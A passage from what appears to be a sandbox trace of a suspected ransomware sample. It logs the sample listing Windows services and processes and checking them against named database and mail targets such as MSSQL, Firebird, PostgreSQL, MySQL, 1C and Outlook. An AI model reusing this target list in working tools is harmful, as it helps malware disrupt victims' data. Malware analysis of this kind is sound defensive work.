(lpString="Themes") returned 6 [0164.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0164.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0164.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0164.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0164.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0164.626] lstrlenW (lpString="TrkWks") returned 6 [0164.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0164.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0164.627] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0164.627] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0164.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0164.627] lstrlenW (lpString="UxSms") returned 5 [0164.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0164.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0164.627] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0164.627] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0164.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0164.627] lstrlenW (lpString="WdiServiceHost") returned 14 [0164.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0164.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0164.627] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0164.627] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0164.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0164.627] lstrlenW (lpString="WdiSystemHost") returned 13 [0164.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0164.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0164.627] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0164.627] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0164.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0164.627] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0164.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0164.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0164.627] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0164.627] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0164.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0164.627] lstrlenW (lpString="Winmgmt") returned 7 [0164.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0164.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0164.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0164.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0164.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0164.628] lstrlenW (lpString="WPDBusEnum") returned 10 [0164.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0164.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0164.628] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0164.628] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0164.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0164.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0164.628] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0164.630] Process32FirstW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.631] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0164.631] lstrlenW (lpString="System") returned 6 [0164.631] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0164.631] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0164.631] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0164.631] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0164.631] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0164.631] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0164.631] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0164.631] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0164.632] lstrlenW (lpString="smss.exe") returned 8 [0164.632] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0164.632] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0164.632] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0164.632] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0164.632] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0164.632] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0164.632] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0164.632] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.632] lstrlenW (lpString="csrss.exe") returned 9 [0164.632] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0164.632] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0164.632] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0164.633] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0164.633] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0164.633] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0164.633] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0164.633] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0164.633] lstrlenW (lpString="wininit.exe") returned 11 [0164.633] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0164.633] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0164.633] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0164.633] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0164.633] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0164.633] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0164.633] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0164.633] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.634] lstrlenW (lpString="csrss.exe") returned 9 [0164.634] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0164.634] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0164.634] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0164.634] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0164.634] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0164.634] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0164.634] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0164.634] lstrlenW (lpString="winlogon.exe") returned 12 [0164.634] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0164.635] lstrlenW (lpString="services.exe") returned 12 [0164.635] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0164.635] lstrlenW (lpString="lsass.exe") returned 9 [0164.635] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0164.636] lstrlenW (lpString="lsm.exe") returned 7 [0164.636] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.636] lstrlenW (lpString="svchost.exe") returned 11 [0164.636] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.636] lstrlenW (lpString="svchost.exe") returned 11 [0164.636] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.637] lstrlenW (lpString="svchost.exe") returned 11 [0164.637] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.637] lstrlenW (lpString="svchost.exe") returned 11 [0164.637] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.638] lstrlenW (lpString="svchost.exe") returned 11 [0164.638] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0164.638] lstrlenW (lpString="audiodg.exe") returned 11 [0164.638] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.638] lstrlenW (lpString="svchost.exe") returned 11 [0164.638] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.639] lstrlenW (lpString="svchost.exe") returned 11 [0164.639] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0164.639] lstrlenW (lpString="spoolsv.exe") returned 11 [0164.639] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0164.640] lstrlenW (lpString="taskhost.exe") returned 12 [0164.640] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.640] lstrlenW (lpString="svchost.exe") returned 11 [0164.640] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0164.640] lstrlenW (lpString="userinit.exe") returned 12 [0164.640] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0164.641] lstrlenW (lpString="dwm.exe") returned 7 [0164.641] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0164.641] lstrlenW (lpString="explorer.exe") returned 12 [0164.641] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0164.642] lstrlenW (lpString="3G6885.exe") returned 10 [0164.642] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0164.642] lstrlenW (lpString="reader_sl.exe") returned 13 [0164.642] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0164.642] lstrlenW (lpString="drvinst.exe") returned 11 [0164.642] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0164.643] lstrlenW (lpString="taskhost.exe") returned 12 [0164.643] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0164.643] lstrlenW (lpString="consent.exe") returned 11 [0164.643] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0164.644] lstrlenW (lpString="dllhost.exe") returned 11 [0164.644] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0164.644] lstrlenW (lpString="dllhost.exe") returned 11 [0164.645] Process32NextW (in: hSnapshot=0x398, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0164.645] CloseHandle (hObject=0x398) returned 1 [0164.646] Sleep (dwMilliseconds=0x1f4) [0165.473] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8978 [0165.473] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0165.474] GetLastError () returned 0xea [0165.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0165.474] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0165.475] CloseServiceHandle (hSCObject=0x41d8978) returned 1 [0165.475] lstrlenW (lpString="Appinfo") returned 7 [0165.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0165.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0165.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0165.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0165.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0165.475] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0165.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.475] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0165.475] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0165.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0165.476] lstrlenW (lpString="AudioSrv") returned 8 [0165.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0165.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0165.476] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0165.476] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0165.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0165.476] lstrlenW (lpString="BFE") returned 3 [0165.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0165.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0165.476] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0165.476] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0165.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0165.476] lstrlenW (lpString="CryptSvc") returned 8 [0165.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0165.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0165.476] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0165.476] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0165.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0165.476] lstrlenW (lpString="CscService") returned 10 [0165.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0165.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0165.476] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0165.476] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0165.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0165.476] lstrlenW (lpString="DcomLaunch") returned 10 [0165.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.476] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0165.476] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0165.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0165.476] lstrlenW (lpString="Dhcp") returned 4 [0165.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0165.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0165.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0165.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0165.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0165.477] lstrlenW (lpString="Dnscache") returned 8 [0165.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0165.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0165.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0165.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0165.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0165.477] lstrlenW (lpString="DPS") returned 3 [0165.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0165.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0165.477] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0165.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0165.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0165.477] lstrlenW (lpString="eventlog") returned 8 [0165.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0165.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0165.477] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0165.477] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0165.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0165.477] lstrlenW (lpString="EventSystem") returned 11 [0165.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0165.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0165.477] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0165.477] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0165.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0165.477] lstrlenW (lpString="gpsvc") returned 5 [0165.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0165.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0165.478] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0165.478] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0165.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0165.478] lstrlenW (lpString="iphlpsvc") returned 8 [0165.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.478] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0165.478] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0165.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0165.478] lstrlenW (lpString="LanmanServer") returned 12 [0165.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0165.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0165.478] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0165.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 